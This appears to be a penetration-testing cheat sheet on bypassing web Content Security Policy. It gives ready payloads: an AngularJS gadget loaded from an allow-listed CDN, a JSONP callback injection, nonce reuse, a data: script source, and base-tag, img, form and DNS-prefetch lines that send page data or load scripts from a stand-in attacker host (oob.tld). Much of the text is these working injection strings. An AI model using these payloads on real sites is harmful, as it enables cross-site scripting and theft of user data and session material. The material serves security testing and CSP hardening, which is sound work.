CSP Bypass Techniques
Read the policy before writing a payload. Most of the time one directive is doing all the work and it is already broken.
curl -sI https://example.com | grep -i content-security-policyPaste it here: https://csp-evaluator.withgoogle.com/
The free wins
default-src * no protection
script-src 'unsafe-inline' done
script-src 'unsafe-eval' done, if you control any sink
script-src * done
object-src not set <object data="data:text/html,...">
base-uri not set <base href="//oob.tld"> hijacks every relative script
frame-ancestors not set clickjacking, separate bug
missing on the error pages only 404/500 often lose the headerbase-uri missing is the one people skip. With any HTML injection it turns every relative <script src="/app.js"> into a script from your host.
Allow-listed CDNs
If the policy allows a host that serves arbitrary JS, the policy is decorative.
https://cdnjs.cloudflare.com → angular, prototype, and a hundred gadget libraries
https://unpkg.com → every npm package
https://cdn.jsdelivr.net → /gh/user/repo (your own repo)
https://www.google.com → open redirects
https://accounts.google.com → same
*.googleapis.com → hosted JSONP endpointsAngular gadget on an allow-listed CDN:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.9/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(document.domain)')()}}</div>JSONP on an allow-listed origin turns the callback into your code:
<script src="https://allowed.tld/api?callback=alert(document.domain)//"></script>Nonce and hash reuse
<!-- the nonce is on the page; if you can inject markup, reuse it -->
<script nonce="THE_NONCE">alert(1)</script>- Is the nonce actually per-response, or is it cached with the page?
strict-dynamic: if any allowed script creates elements from your input, it inherits trust- Dangling markup can exfiltrate the nonce even when you cannot execute
Wildcards and schemes
script-src 'self' https: → any https host
script-src 'self' data: → <script src="data:text/javascript,alert(1)">
script-src 'self' *.example.com → any subdomain, including one you took overSee Subdomain Takeover. A takeover on an allow-listed subdomain is a CSP bypass.
Path is not enforced after a redirect
script-src example.com/a/ looks tight, but a redirect from /a/ drops the path check. Find any open redirect on an allowed host.
Exfiltration when you cannot execute
If script-src holds but connect-src / img-src / form-action do not:
<img src="//oob.tld/?x=" ... dangling markup
<form action="//oob.tld"><input name=x form-action not set
<link rel=dns-prefetch href="//A.oob.tld">CSS-only exfiltration works when style-src is loose.
Report-Only
Content-Security-Policy-Report-Only enforces nothing. If that is the only header, the site is unprotected, worth its own note in the report.